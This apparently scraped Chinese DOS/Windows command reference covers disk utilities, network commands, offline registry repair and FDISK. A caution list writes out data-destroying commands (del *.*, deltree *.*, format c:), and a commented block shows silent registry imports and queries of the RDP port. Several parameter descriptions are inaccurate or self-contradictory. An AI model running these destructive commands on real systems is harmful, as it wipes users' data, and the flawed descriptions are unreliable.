    [例  子]  C:\\WINDOWS>tree /a
    unformat   恢复已被格式化的磁盘
    [建  议]  你把有重要信息的软盘格式化了?快用unformat……什么?你用了  format /u,那死定了
    [用  法]  unformat [盘符]    恢复指定的被格式化的磁盘
    unformat /l      显示unformat所找到的文件名
    [例  子]  C:\\WINDOWS>unformat a:
    vsafe    病毒防护程序
    [建  议]  把它装入内存可以随时检测出许多种病毒,是比较有用的。
    [用  法]  vsafe        加载vsafe在内存中
    vsafe /u       从内存中去除vsafe
    vsafe/ne       将vsafe装入扩充内存
    vsafe/nx       将vsafe装入扩展内存
    参数还有 Ax Cx n d
    [例  子]  C:\\>vsafe
    ctty    改变控制设备
    [建  议]  用来改变控制的输入输出设备,可以试试这条命令,不过恐怕不会有什么作用,是DOS中最没用的命令之一
    [用  法]  ctty [设备名]    设置控制台
    [例  子]  C:\\>ctty aux    设置aux为输入输出设备。
    慎用命令    
    del *.*    删除当前目录所有文件
    [建  议]  在C盘根目录使用del *.*会使电脑找不到鼠标、光驱、不能使用  
            windows,甚至不能启动。 事实上在任何目录中使用这条命令,都需
            要好好考虑。
    deltree *.*   删除当前目录下所有目录与文件
    [建  议]  在C盘根目录中使用这条命令,那你必须要保证你的头脑是清醒的,
            而且你保证这样做是有必要的,但我们认为在任何情况下都不应该这
            样使用这条命令。 在任何目录下使用deltree *.*都会产生与   
            del *.*一样甚至更坏的结果。慎之!慎之!
    format c:/u   格式化C盘
    [建  议]  除非你的硬盘被病毒感染得很深,或者有一个真正电脑专家告诉你应
            该这样做,否则不要将C盘格式化,它会使你丢失一切信息,还需要
            花几个小时来重新安装所有的软件。
     fdisk    硬盘分区
    [建  议]  硬盘分区时,一定要让一个曾经使用过这条命令的人来帮助你使用,
            否则你将失去所有信息,甚至连硬盘都不能使用了。
    recover   覆盖磁盘
    [建  议]  在DOS 6以后就不再有这条命令了,如果你使用的是老版本的DOS,劝
            你在任何时候都不要使用它,它除了将你的硬盘所有的信息破坏掉就
            没有其它作用了。



    DOS下常用网络相关命令解释
    Arp
    显示和修改“地址解析协议”(ARP) 所使用的到以太网的 IP 或令牌环物理地址翻译表。该命令只有在安装了 TCP/IP 协议之后才可用。
    arp -a [inet_addr] [-N [if_addr]]
    arp -d inet_addr [if_addr]
    arp -s inet_addr ether_addr [if_addr]
    参数
    -a
    通过询问 TCP/IP 显示当前 ARP 项。如果指定了 inet_addr,则只显示指定计算机的 IP 和物理地址。
    -g
    与 -a 相同。
    inet_addr
    以加点的十进制标记指定 IP 地址。
    -N
    显示由 if_addr 指定的网络界面 ARP 项。
    if_addr
    指定需要修改其地址转换表接口的 IP 地址(如果有的话)。如果不存在,将使用第一个可适用的接口。
    -d
    删除由 inet_addr 指定的项。
    -s
    在 ARP 缓存中添加项,将 IP 地址 inet_addr 和物理地址 ether_addr 关联。物理地址由以连字符分隔的 6 个十六进制字节给定。使用带点的十进制标记指定 IP 地址。项是永久性的,即在超时到期后项自动从缓存删除。
    ether_addr
    指定物理地址。
    Finger
    在运行 Finger 服务的指定系统上显示有关用户的信息。根据远程系统输出不同的变量。该命令只有在安装了 TCP/IP 协议之后才可用。
    finger [-l] [user]@computer[...]
    参数
    -l
    以长列表格式显示信息。
    user
    指定要获得相关信息的用户。省略用户参数以显示指定计算机上所有用户的信息:
    @computer
    Ftp
    将文件传送到正在运行 FTP 服务的远程计算机或从正在运行 FTP 服务的远程计算机传送文件(有时称作 daemon)。Ftp 可以交互使用。单击“相关主题”列表中的“ftp 命令”以获得可用的“ftp”子命令描述。该命令只有在安装了 TCP/IP 协议之后才可用。Ftp 是一种服务,一旦启动,将创建在其中可以使用 ftp 命令的子环境,通过键入 quit 子命令可以从子环境返回到 Windows 2000 命令提示符。当 ftp 子环境运行时,它由 ftp 命令提示符代表。
    ftp [-v] [-n] [-i] [-d] [-g] [-s:filename] [-a] [-w:windowsize] [computer]
    参数
    -v
    禁止显示远程服务器响应。
    -n
    禁止自动登录到初始连接。
    -i
    多个文件传送时关闭交互提示。
    -d
    启用调试、显示在客户端和服务器之间传递的所有 ftp 命令。
    -g
    禁用文件名组,它允许在本地文件和路径名中使用通配符字符(* 和 ?)。(请参阅联机“命令参考”中的 glob 命令。)
    -s: filename
    指定包含 ftp 命令的文本文件;当 ftp 启动后,这些命令将自动运行。该参数中不允许有空格。使用该开关而不是重定向 (> )。
    -a
    在捆绑数据连接时使用任何本地接口。
    -w:windowsize
    替代默认大小为 4096 的传送缓冲区。
    computer
    指定要连接到远程计算机的计算机名或 IP 地址。如果指定,计算机必须是行的最后一个参数。
    Nbtstat
    该诊断命令使用 NBT(TCP/IP 上的 NetBIOS)显示协议统计和当前 TCP/IP 连接。该命令只有在安装了 TCP/IP 协议之后才可用。
    nbtstat [-a remotename] [-A IP address] [-c] [-n] [-R] [-r] [-S] [-s] [interval]
    参数
    -a remotename
    使用远程计算机的名称列出其名称表。
    -A IP address
    使用远程计算机的 IP 地址并列出名称表。
    -c
    给定每个名称的 IP 地址并列出 NetBIOS 名称缓存的内容。
    -n
    列出本地 NetBIOS 名称。“已注册”表明该名称已被广播 (Bnode) 或者 WINS(其他节点类型)注册。
    -R
    清除 NetBIOS 名称缓存中的所有名称后,重新装入 Lmhosts 文件。
    -r
    列出 Windows 网络名称解析的名称解析统计。在配置使用 WINS 的 Windows 2000 计算机上,此选项返回要通过广播或 WINS 来解析和注册的名称数。
    -S
    显示客户端和服务器会话,只通过 IP 地址列出远程计算机。
    -s
    显示客户端和服务器会话。尝试将远程计算机 IP 地址转换成使用主机文件的名称。
    interval
    重新显示选中的统计,在每个显示之间暂停 interval 秒。按 CTRL+C 停止重新显示统计信息。如果省略该参数,nbtstat 打印一次当前的配置信息。
    Netstat
    显示协议统计和当前的 TCP/IP 网络连接。该命令只有在安装了 TCP/IP 协议后才可以使用。
    netstat [-a] [-e] [-n] [-s] [-p protocol] [-r] [interval]
    参数
    -a
    显示所有连接和侦听端口。服务器连接通常不显示。
    -e
    显示以太网统计。该参数可以与 -s 选项结合使用。
    -n
    以数字格式显示地址和端口号(而不是尝试查找名称)。
    -s
    显示每个协议的统计。默认情况下,显示 TCP、UDP、ICMP 和 IP 的统计。-p 选项可以用来指定默认的子集。
    -p protocol
    显示由 protocol 指定的协议的连接;protocol 可以是 tcp 或 udp。如果与 -s 选项一同使用显示每个协议的统计,protocol 可以是 tcp、udp、icmp 或 ip。
    -r
    显示路由表的内容。
    interval
    重新显示所选的统计,在每次显示之间暂停 interval 秒。按 CTRL+B 停止重新显示统计。如果省略该参数,netstat 将打印一次当前的配置信息。
    Ping
    验证与远程计算机的连接。该命令只有在安装了 TCP/IP 协议后才可以使用。
    ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s count] [[-j computer-list] | [-k computer-list]] [-w timeout] destination-list
    参数
    -t
    Ping 指定的计算机直到中断。
    -a
    将地址解析为计算机名。
    -n count
    发送 count 指定的 ECHO 数据包数。默认值为 4。
    -l length
    发送包含由 length 指定的数据量的 ECHO 数据包。默认为 32 字节;最大值是 65,527。
    -f
    在数据包中发送“不要分段”标志。数据包就不会被路由上的网关分段。
    -i ttl
    将“生存时间”字段设置为 ttl 指定的值。
    -v tos
    将“服务类型”字段设置为 tos 指定的值。
    -r count
    在“记录路由”字段中记录传出和返回数据包的路由。count 可以指定最少 1 台,最多 9 台计算机。
    -s count
    指定 count 指定的跃点数的时间戳。
    -j computer-list
    利用 computer-list 指定的计算机列表路由数据包。连续计算机可以被中间网关分隔(路由稀疏源)IP 允许的最大数量为 9。
    -k computer-list
    利用 computer-list 指定的计算机列表路由数据包。连续计算机不能被中间网关分隔(路由严格源)IP 允许的最大数量为 9。
    -w timeout
    指定超时间隔,单位为毫秒。
    destination-list
    指定要 ping 的远程计算机。
    Rcp
    在 Windows 2000 计算机和运行远程外壳端口监控程序 rshd 的系统之间复制文件。rcp 命令是一个连接命令,从 Windows 2000 计算机发出该命令时,也可以用于其他传输在两台运行 rshd 的计算机之间复制文件。rshd 端口监控程序可以在 UNIX 计算机上使用,而在 Windows 2000 上不能使用,所以 Windows 2000 计算机仅可以作为发出命令的系统参与。远程计算机必须也通过运行 rshd 提供 rcp 实用程序。
    rcp [-a | -b] [-h] [-r] source1 source2 ... sourceN destination
    参数
    -a
    指定 ASCII 传输模式。此模式在传出文件上将回车/换行符转换为回车符,在传入文件中将换行符转换为回车/换行符。该模式为默认的传输模式。
    -b
    指定二进制图像传输模式。没有执行回车/换行符转换。
    -h
    传输 Windows 2000 计算机上标记为隐藏属性的源文件。如果没有该选项,在 rcp 命令行上指定隐藏文件的效果与文件不存在一样。
    -r
    将源的所有子目录内容递归复制到目标。source 和 destination 都必须是目录,虽然即使源不是目录,使用 -r 也能够工作。但将没有递归。
    source 和 destination
    格式必须为 [computer[.user]:]filename。如果忽略了 [computer[.user]:] 部分,计算机将假定为本地计算机。如果省略了 [.user] 部分,将使用当前登录的 Windows 2000 用户名。如果使用了完全合格的计算机名,其中包含句点 (.) 分隔符,则必须包含 [.user]。否则,计算机名的最后部分将解释为用户名。如果指定了多个源文件,则 destination 必须是目录。
    如果文件名不是以 UNIX 的正斜杠 (/) 或 Windows 2000 系统的反斜杠 (\\) 打头,则假定相对于当前的工作目录。在 Windows 2000 中,这是发出命令的目录。在远程系统中,这是远程用户的登录目录。句点 (.) 表示当前的目录。在远程路径中使用转义字符(\\、\" 或 \'),以便在远程计算机中使用通配符。
    Rexec
    在运行 REXEC 服务的远程计算机上运行命令。rexec 命令在执行指定命令前,验证远程计算机上的用户名,只有安装了 TCP/IP 协议后才可以使用该命令。
    rexec computer [-l username] [-n] command
    参数
    computer
    指定要运行 command 的远程计算机。
    -l username
    指定远程计算机上的用户名。
    -n
    将 rexec 的输入重定向到 NULL。
    command
    指定要运行的命令。
    Route
    控制网络路由表。该命令只有在安装了 TCP/IP 协议后才可以使用。
    route [-f] [-p] [command [destination] [mask subnetmask] [gateway] [metric costmetric]]
    参数
    -f
    清除所有网关入口的路由表。如果该参数与某个命令组合使用,路由表将在运行命令前清除。
    -p
    该参数与 add 命令一起使用时,将使路由在系统引导程序之间持久存在。默认情况下,系统重新启动时不保留路由。与 print 命令一起使用时,显示已注册的持久路由列表。忽略其他所有总是影响相应持久路由的命令。
    command
    指定下列的一个命令。
    命令 目的
    print 打印路由
    add 添加路由
    delete 删除路由
    change 更改现存路由
    destination
    指定发送 command 的计算机。
    mask subnetmask
    指定与该路由条目关联的子网掩码。如果没有指定,将使用 255.255.255.255。
    gateway
    指定网关。
    名为 Networks 的网络数据库文件和名为 Hosts 的计算机名数据库文件中均引用全部 destination 或 gateway 使用的符号名称。如果命令是 print 或 delete,目标和网关还可以使用通配符,也可以省略网关参数。
    metric costmetric
    指派整数跃点数(从 1 到 9999)在计算最快速、最可靠和(或)最便宜的路由时使用。
    Rsh
    在运行 RSH 服务的远程计算机上运行命令。该命令只有在安装了 TCP/IP 协议后才可以使用。
    rsh computer [-l username] [-n] command
    参数
    computer
    指定运行 command 的远程计算机。
    -l username
    指定远程计算机上使用的用户名。如果省略,则使用登录的用户名。
    -n
    将 rsh 的输入重定向到 NULL。
    command
    指定要运行的命令。
    Tftp
    将文件传输到正在运行 TFTP 服务的远程计算机或从正在运行 TFTP 服务的远程计算机传输文件。该命令只有在安装了 TCP/IP 协议后才可以使用。
    tftp [-i] computer [get | put] source [destination]
    参数
    -i
    指定二进制图像传送模式(也称为“八位字节”)。在二进制图像模式中,文件一个字节接一个字节地逐字移动。在传送二进制文件时使用该模式。
    如果省略了 -i,文件将以 ASCII 模式传送。这是默认的传送模式。此模式将 EOL 字符转换为 UNIX 的回车符和个人计算机的回车符/换行符。在传送文本文件时应使用此模式。如果文件传送成功,将显示数据传输率。
    computer
    指定本地或远程计算机。
    put
    将本地计算机上的文件 destination 传送到远程计算机上的文件 source。
    get
    将远程计算机上的文件 destination 传送到本地计算机上的文件 source。
    如果将本地计算机上的文件 file-two 传送到远程计算机上的文件 file-one,请指定 put。如果将远程计算机上的文件 file-two 传送到远程计算机上的文件 file-one,请指定 get。
    因为 tftp 协议不支持用户身份验证,所以用户必须登录,并且文件在远程计算机上必须可以写入。
    source
    指定要传送的文件。如果本地文件指定为 -,则远程文件在 stdout 上打印出来(如果获取),或从 stdin(如果放置)读取。
    destination
    指定将文件传送到的位置。如果省略了 destination,将假定与 source 同名。
    Tracert
    该诊断实用程序将包含不同生存时间 (TTL) 值的 Internet 控制消息协议 (ICMP) 回显数据包发送到目标,以决定到达目标采用的路由。要在转发数据包上的 TTL 之前至少递减 1,必需路径上的每个路由器,所以 TTL 是有效的跃点计数。数据包上的 TTL 到达 0 时,路由器应该将“ICMP 已超时”的消息发送回源系统。Tracert 先发送 TTL 为 1 的回显数据包,并在随后的每次发送过程将 TTL 递增 1,直到目标响应或 TTL 达到最大值,从而确定路由。路由通过检查中级路由器发送回的“ICMP 已超时”的消息来确定路由。不过,有些路由器悄悄地下传包含过期 TTL 值的数据包,而 tracert 看不到。
    tracert [-d] [-h maximum_hops] [-j computer-list] [-w timeout] target_name
    参数
    /d
    指定不将地址解析为计算机名。
    -h maximum_hops
    指定搜索目标的最大跃点数。
    -j computer-list
    指定沿 computer-list 的稀疏源路由。
    -w timeout
    每次应答等待 timeout 指定的微秒数。
    target_name
    目标计算机的名称。
    interlnk|intersvr|qbasic  
    interlnk   启动简易网客户机
    [适用场合]  如果有两台电脑可以通过它和intersvr联成简易的网络,这是条很有用的命令,但不常用
    [用  法]   DOS新增支持网络的功能,
            它可以使两台电脑通过并口线或串口线相联组成简易的网络
            使用interlnk 必须在config.sys中增添一句:
            device=c:\\dos\\interlnk
            并口线的两头都应是25针公接头,针之间的连接如下图:对应
            p2------------------------p15
            p3------------------------p13
            p4------------------------p12
            p5------------------------p10 公接头指接头为带针的
            p6------------------------p11 母接头指接头为带孔的
            p15-----------------------p2
            p13-----------------------p3
            p12-----------------------p4
            p10-----------------------p5
            p11-----------------------p6
            p25-----------------------p25 地线
    [例  子]  C:\\DOS\\>interlnk Port-LPT1
    this Computer    Other Computer
    (Client)       (Server)
    ----------------------------------------
    E:   equals   A:
    F:   equals   C:
    在客户机中E盘即为服务机的A盘,F盘为服务机的C盘
    intersvr   启动简易网服务器
    适用场合]  使用它,电脑就成了服务器了(只限与DOS提供的简易网)
    [用  法]  intersvr       启动服务机
    intersvr /lpt:1   启动服务机,用lpt1口作为数据传输口
    intersvr /com:1   启动服务机,用com1口作为数据传输口
    参数还有 x baud: b v rcopy (参见interlnk)
    [例  子]  C:\\DOS>intersvr
    qbasic   启动Basic集成环境
    [建  议]  也许对于大多数人是永远不会用到它的
    [用  法]  如果会qbasic语言,那么可以利用它编写自己的程序。edit.com必须
            有它才可用。
    qbasic     起动basic语言环境
    qbasic/editor 以全屏方式编辑语言
    参数还有: b g h mbf nohi run
    [例  子]  C:\\DOS>qbasic

    DOS下如何连接两台电脑
    在WINDOWS下连接两台电脑并不希奇,即使是一般水平的DIY者都可以轻易搞定. 可是在DOS下呢?能连接吗?
    当然可以。用DOS6.22下自带的INTERLNK程序即可通过并口连接两台电脑。
    首先你要在作为主机的电脑的config.sys文件中加入INTERLNK.EXE设备驱动程序。
    语法: INTERLNK [client[:]=[server][:]]
    client 指定重定向到lnterlnk服务器上驱动器的客户驱动器字母。此驱动器必须是启动 lnterlnk时重定向的驱动器。
    server 指定lnterlnk服务器上被重定向的驱动器字母。此驱动器必须列在Interlnk服务器屏幕This Computer(Server)栏中。
    然后在作为“服务器”的电脑上启动 INTERSVR 程序,启动Interlnk服务器。
    语法:INTERSVR [drive:[...]] [/X=drive:[...]] [/LPT:[n|address]] [/COM:[n|address]] [/BAUD:rate] [/B] [/V] /LPT:[n|address] 。即可实现双机互连。
    此外也可以使用PCTOOLS工具包中的DISKMAP工具,功能更强大,使用更方便。

    DOS环境下玩转Windows注册表
    注册表编辑器不仅可以在Windows下运行使用,还可以在MS-DOS实模式下运行。有时注册表受到损坏而无法启动Windows时,我们就只有在DOS模式下修复或修改注册表了。注册表的实际物理文件为System.dat和User.dat,也就说注册表中的数据保存在这两个文件中。
    导出注册表
    此命令可以实现对注册表文件进行备份。
    命令格式:Regedit /L:system /R:user /E filename.reg Regpath
    参数含义
    /L:system指定System.dat文件所在的路径。
    /R:user指定User.dat文件所在的路径。
    /E:此参数指定注册表编辑器要进行导出注册表操作,在此参数后面空一格,输入导出注册表的文件名。
    Regpath:用来指定要导出哪个注册表的分支,如果不指定,则将导出全部注册表分支。
    如果打算将保存在C:\Windows\System.dat和保存在C:\Windows\Profiles\User.dat中所有HKEY_CLASSER_ROOT根键下的分支导出到file.reg中,可以执行如下命令:Regedit /L:C:\Windows\ /R:C:\Windows\Profiles\ /e file1.reg HKEY_CLASSER_ROOT
    导入注册表
    命令格式:Regedit /L:system /R:user file.reg
    参数含义
    /L:system指定System.dat文件所在的路径。
    /R:user指定User.dat文件所在的路径。
    重建注册表
    重建注册表,即重新建立System.dat和User.dat文件。
    命令格式:Regedit /L:system /R:user /C file.reg
    参数含义:
    /L:system指定System.dat文件所在的路径。
    /R:user指定User.dat文件所在的路径。
    /C:此参数将告诉注册表编辑器,用所指定的.reg文件中的内容重新建立注册表。
    如果要用file.reg文件中的内容重新建立整个注册表,并将其保存到C:\Windows\System.dat和C:\Windows\Profiles\User.dat中,可执行命令:Regedit /L:C:\Windows\ /R:C:\Windows\Profiles\ /C file1.reg
    删除注册表分支
    此命令可以将注册表中的一个子键分支删除。
    命令格式为:Regedit /L:system /R:user /C Regpath
    参数含义
    /L:system指定System.dat文件所在的路径。
    /R:user指定User.dat文件所在的路径。
    /C:此参数告诉注册表编辑器,将Regpath所指定的注册表子键分支删除。
    恢复注册表
    Scanreg.exe可以检查、备份、恢复、修复注册表,此命令存放在“Windows\Command”目录下。
    命令格式:Scanreg [/< option >]
    参数含义
    /backup参数是备份注册表和相关的配置文件,这些文件分别\windows目录下的System.dat、User.dat、Win.ini、System.ini四个文件,把这些文件压缩成rb——?.cab一个文件,存放在\windows\sysbckup目录下,多次使用此命令会产生多个CAB文件,一般从000开始,系统默认最大备份数为5个。可在\Windows\scanreg.ini文件中对最大备份数进行修改,通过修改“maxbackupcopies=?”的数值即可。
    /restore参数是选择一个备份进行恢复注册表,此命令不能在Windows 98环境下执行,必须关机后,重新启动进入纯DOS方式下运行。
    /fix参数是修复损坏的注册表,此命令也只能在DOS方式下运行。
    /comment=\"< comment >\"参数是在备份注册表时增加一些详细的注释到CAB文件中。
    恢复遭到破坏的注册表文件,可以使用Scanreg命令进行修复,方法是,首先进入DOS系统操作环境,然后执行以下命令:Scanreg/Restore
    此时系统会提示注册表备份情况,包括CAB文件名及备份时间等,用户可以选择要恢复的CAB文件进行恢复。
    如果要查看所有的备份文件及同备份有关的部分,可以执行命令:Scanreg /restore /comment
    如果注册表有问题,可以使用Scanreg来修复,命令为:Scanreg /fix。
    补充:
    //帮助信息,使用的时候删除前面的\"//\"符号就可以了,最好先本机测试通过.
    //regedit.exe -e reg1.txt HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
    //regedit.exe -e reg2.dll \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\"
    //上面导出注册表内容
    //regedit.exe -s reg2.dll
    //上面导入注册表内容,没有提示信息.reg1.dll必须是合法格式.
    //____________________________________________________________
    Win98注册表文件头格式
    //REGEDIT4
    //
    win2000/xp/nt注册表文件头格式(空一行)
    //__________________________________________________________
    //Windows Registry Editor Version 5.00
    //
    //[HKEY_LOCAL_MACHINE\\SOFTWARE\\Test4Adam]
    //\"Test1\"=\"Adam\"
    //\"Test2\"=hex:61
    //\"Test3\"=dword:00000064
    //Test1的类型是\"String value\"
    //Test2的类型是\"Binary value\"
    //Test3的类型是\"DWORD value\"

    //删除一个项目名称
    //[HKEY_LOCAL_MACHINE\\SOFTWARE\\Test4Adam]
    //\"Test1\"=-

    //删除一个子项
    //[-HKEY_LOCAL_MACHINE\\SOFTWARE\\Test4Adam]

    //reg.exe query \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\PortNumber\"
    //reg.exe query \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp\\PortNumber\"
    //由于后面参数有空格。所以必须使用双引号

    //下面这个是win2000kit里面的工具
    //E:\\SCANREG.EXE 1.05 <[-s] string> < [-k] [-v] [-d] > [[-r] key] [-c] [-e] [-n]
    //Examples: SCANREG -s Windows -k -v -d
    // SCANREG -s Windows -kvd
    // SCANREG /s Windows /r \\lm\\software /kvde
    // SCANREG Windows \\lm -kd -n
    // SCANREG Windows \\\\MOON\\HKEY_LOC

     

    展开全文
  • DOS常用命令(从入门到精通)

    万次阅读 多人点赞 2018-08-26 11:27:24
    DOS命令学习 一、DOS使用常识 DOS(Disk Operating System)是一个使用得十分广泛的磁盘操作系统。 常见的DOS有两种:IBM公司的PC-DOS和微软公司的MS-DOS,它们的功能、命令用途格式都相同,我们常用的是MS-DOS。...

    DOS命令学习

    一、DOS使用常识
    DOS的概况
    DOS(Disk Operating System)是一个使用得十分广泛的磁盘操作系统,就连眼下流行的Windows9x/ME系统都是以它为基础。

    常见的DOS有两种:IBM公司的PC-DOS和微软公司的MS-DOS,它们的功能、命令用途格式都相同,我们常用的是MS-DOS。

    二、DOS的内部命令
    DOS的内部命令是进行操作的基础,完成了对它们的学习就跨进了DOS系统的大门。内部命令,是指在DOS启动之后,自动通过command.com文件导入内存的命令。在执行这些命令的时候,直接从内存进行调用………

    1) dir–显示指定路径上所有文件或目录的信息
    它的格式为”dir [盘符:][路径][文件名] [参数]”,比如”DIR E:\FF.M3U”。

    2) md(mkdir)–建立目录
    它的格式为”md [盘符][路径]”,例如”MD TEMP”。

    3) rd(rmdir)–删除目录
    格式为”RD [盘符][路径]”。
    注意:该命令只能删除空目录,并且不能删除当前目录。

    4) cd–进入指定目录
    格式为” CD [路径]”,例如”CD HAPPY”。
    注意:只能进入当前盘符中的目录。其中”CD\”为回到根目录,”CD..”为回到上一层目录。

    5) copy–拷贝文件
    格式为”COPY [源目录或文件] [目的目录或文件]”,比如”COPY C:*.COM D:\”
    注意:使用该命令进行文件拷贝时,目的目录一定要存在。

    6) del–删除文件
    格式为”DEL [盘符][路径][文件名] [参数]”,比如”DEL C:\DATA*.BAK”。它有一个参数:”/P”,可以使用户在删除多个文件时对每个文件都显示删除询问

    7) ren(rename)–改名
    格式为”REN [原名] [现名]”,7.0以后版本的DOS都支持对文件名和目录名的修改,而以前的DOS只能修改文件名。

    8) type–显示文本文件
    格式为”TYPE [文件名]”,能对文本文件进行查看。

    9) discopy–磁盘复制

    [功能] 复制出一个和原来磁盘内容一模一样的磁盘

    [格式] diskcopy 源驱动器名 目的驱动器名

    [说明] 它的主要用途就是用来备份。

    10) deltree–删除目录树

    [格式] [C:][path]DELTREE [C1:][path1] [[C2:][path2] […]]

    [说明] 这个命令将整个指定目录树全部消灭,而不管它是否是只读、隐藏与否。

    11) mem–查看你的计算机内存有多少,以及内存的使用情况。

    [格式] mem

    12) chkdsk–检查你的磁盘的使用情况。

    [格式] chkdsk 磁盘名

    [说明] 例如要检查A盘使用情况,就输入chkdsk A: ,检查c盘使用情况,就输入chkdsk C: ,如果直接输入chkdsk,就检查当前磁盘的使用情况。

    13) sys–传递系统文件命令。将DOS的两个隐含的系统IO.SYS和MSDOS.SYS传送到目标磁盘的特定位置上,并将COMMAND.COM文件复制过去。完成后,目标盘成为DOS的启动盘。

    [格式] [C:][path]SYS [C1:][path] d2:

    [说明] 由于这几个文件需要复制到特定位置上,所以用COPY命令完成的复制未必能够启动机器。能过SYS命令,DOS可以将目标盘已占据特定位置的文件移动,并将系统文件复制到相应位置上。参数C1:path用来指明系统文件所在目录。如不指明,则缺省为当前盘的当前目录。所以这个命令一般要在源盘的根目录进行。

    14) pass–设定DOS寻找.COM、.EXE、.BAT文件的所在目录

    [格式] path=[[drive:]path[;…]]或path

    [说明] 只打path没有参数时,只显示环境变量内容。有参数时,重新设置path变量。在没有指定path环境变量时,用户发出的命令,DOS首先判断其是否为内部命令,再查找当前目录中是否有主文件名是该命令的可执行文件,如果均不是,则显示信息“Bad command or filename”。如果发出了指定路径的命令,则在指定径中依次查找,仍找不到则出现上述提示。

    15) cls–清除显示器屏幕上的内容,使DOS提示符到屏幕左上角。

    [格式] cls

    16) time–显示和设置DOS的系统时间

    [格式] time [hh[:mm[:ss[.cc]]]

    17) date–显示和设置DOS的系统日期

    [格式] date [MM-DD-YY]

    18) ver–显示正在运行的DOS系统版本号

    [格式] ver

    三、DOS的外部命令

    DOS的外部命令就是一些应用程序,能够使用户的操作更加方便和深入。这些外部命令都是以文件的形式存在,Windows系统的DOS外部命令保存在Windwos主目录下的”Command”目录中。下面这些是常用的一些DOS外部命令。

    1)FORMAT(Format.COM)–格式化命令
    FORMAT命令可以完成对软盘和硬盘的格式化操作

    格式为”FORMAT [盘符] [参数]”,例如:”FORMAT A: /S”。

    它有两个常见的参数:

    /Q:进行快速格式化;
    /S:完成格式化,并将系统引导文件拷贝到该磁盘。

    注意:该命令会清除目的磁盘上的所有数据,一定要小心使用。如果进行了普通的格式化,那磁盘上的数据还有可能恢复,但如果加上了”/Q”,那要恢复就比蹬天还难了。

    2) EDIT(Edit.COM)–编辑命令
    其实它就是一个文本编辑软件,使用它可以在DOS下方便地对文本文件进行编辑,格式为”EDIT [文件名] [参数]”。

    3) SYS(Sys.COM)–系统引导文件传输命令
    它能够将IO.SYS等几个文件传输到目的磁盘,使其可以引导、启动。

    格式为”SYS [盘符]”

    4) ATTRIB(Attrib.EXE)–文件属性设置命令
    通过该命令,我们可以对文件进行属性的查看和更改。

    格式为”ATTRIB [路径][文件名] [参数]”,如果不加参数则为显示文件属性。

    它的参数有”+?”和”-?”两种,”?”代表属性代号,这些代号有:”H”隐藏;”S”系统;”R”只读,”+”表示赋予,”-“表示去除。

    5) XCOPY(Xcopy.EXE)–拷贝命令
    该命令在”COPY”的基础上进行了加强,能够对多个子目录进行拷贝。它的参数比较多,但是最常用的是”/S”,它可以对一个目录下属的多个子目录进行拷贝,另外”/E”可以拷贝空目录。

    格式为”XCOPY [源路径][源目录/文件名] [目的目录/文件名] [参数]”。

    6) SCANDISK(Scandisk.EXE)–磁盘扫描程序
    这个命令在实际的操作中有很大的用处,它能对磁盘进行扫描并修复,能够解决大部分的磁盘文件损坏问题。格式为”SCANDISK [盘符:] [参数]”下面是它的几个参数:

    /fragment [驱动器名:\路径\文件名]:使用这个参数可以显示文件是否包含有间断的块,我们可以通过运行磁盘整理程序来解决这个问题;
    /all:检查并修复所有的本地驱动器;
    /autofix:自动修复错误,即在修复时不会出现提示;
    /checkonly:仅仅检查磁盘,并不修复错误;
    /custom:根据Scandisk.ini文件的内容来运行Scandisk,Scandisk.ini是一个文本文件,它包含了对Scandisk程序的设置,其中的[custom]块是在加上”/custom”参数后才执行的,用户可以根据自己的不同情况来进行不同的设置;
    /nosave:在检查出有丢失簇后直接删除,并不转化为文件;
    /nosummary:不显示检查概要,完成检查后将直接退出程序;
    /surface:在完成初步检查后进行磁盘表面扫描;
    /mono:以单色形式运行Scandisk。

    我们可以根据不同的情况来加上不同的参数。我们可以执行”scandisk /all /checkonly /nosave /nosummary”来完成对磁盘的检查并且自动退出,另外还可以编辑scandisk.ini文件中设置,再运行”scandisk /custom”。如果被损坏的文件比较多,我们可以使用”/autofix”来进行自动修复,不然会忙死你的。

    7) CHKDSK(Chkdsk.EXE)–磁盘检查命令
    它会检查磁盘,并会显示一个磁盘状态报告。格式为”CHKDSK [盘符:] [参数]”,最常用的参数是”/F”,可以对文件错误进行修复。

    8) MOVE(Move.EXE)–文件移动命令
    使用它可以对文件进行移动。

    格式为”MOVE [源文件] [目的路径]”。

    9) DELTREE(Deltree.EXE)–删除命令
    DELTREE是DEL命令的超级加强版,它不仅可以删除文件,并且会将指定目录和其下的所有文件和子目录一并删掉。使用它,我们可以很方便的对目录进行彻底的删除。

    格式”DELTREE [文件/路径] [参数]”,

    参数有一个”/Y”,使用时系统会对每个文件进行询问,回答”Y”后才删除。

    10) FDISK(Fdisk.EXE)–分区命令
    更多的DOS命令

    命令
    功能
    命令
    功能
    ctty
    改变控制设备
    attrib
    设置文件属性
    emm386  
    扩展内存管理
    defrag
    磁盘碎片整理
    fdisk
    硬盘分区
    doskey
     调用和建立DOS宏命令
    lh/loadhigh
    将程序装入高端内存
    debug
    程序调试命令
    move
    移动文件,改目录名
    fc 
    文件比较
    prompt 
    设置提示符
    more
    分屏显示
    smartdrv
    设置磁盘加速器
    set
    设置环境变量
    subst
    路径替换
    setver
    设置版本
    xcopy    
    拷贝目录和文件
    vol
     显示指定的磁盘卷标
    大家如果感兴趣的话,不妨自己在DOS窗口中打打这些命令试试看

    四、FDISK使用介绍

    1、FDISK的使用介绍

    对硬盘进行分区、格式化,是每个硬盘都必须经过的步骤。
    FDISK程序是DOS和Windows系统自带的分区软件,虽然其功能比不上有些软件,但用它分区是十分安全的。以下就是具体的操作步骤:

    1)进入DOS方式。在系统引导、出现”Starting Windows…..”的时候按下”F8”键,然后再选择”Command Prompt Only”即可进入DOS方式。

    2)键入”FDISK”后回车即可进入。

    3)这时软件会问你是否支持FAT32,回答”Y”就可以建立FAT32分区,回答”N”则会使用FAT16,决定以后按回车。

    4)出现FDISK的主菜单,要建立分区请选择”1”再回车。

    5)建立主分区(Primary Partition),选择”1”后回车。

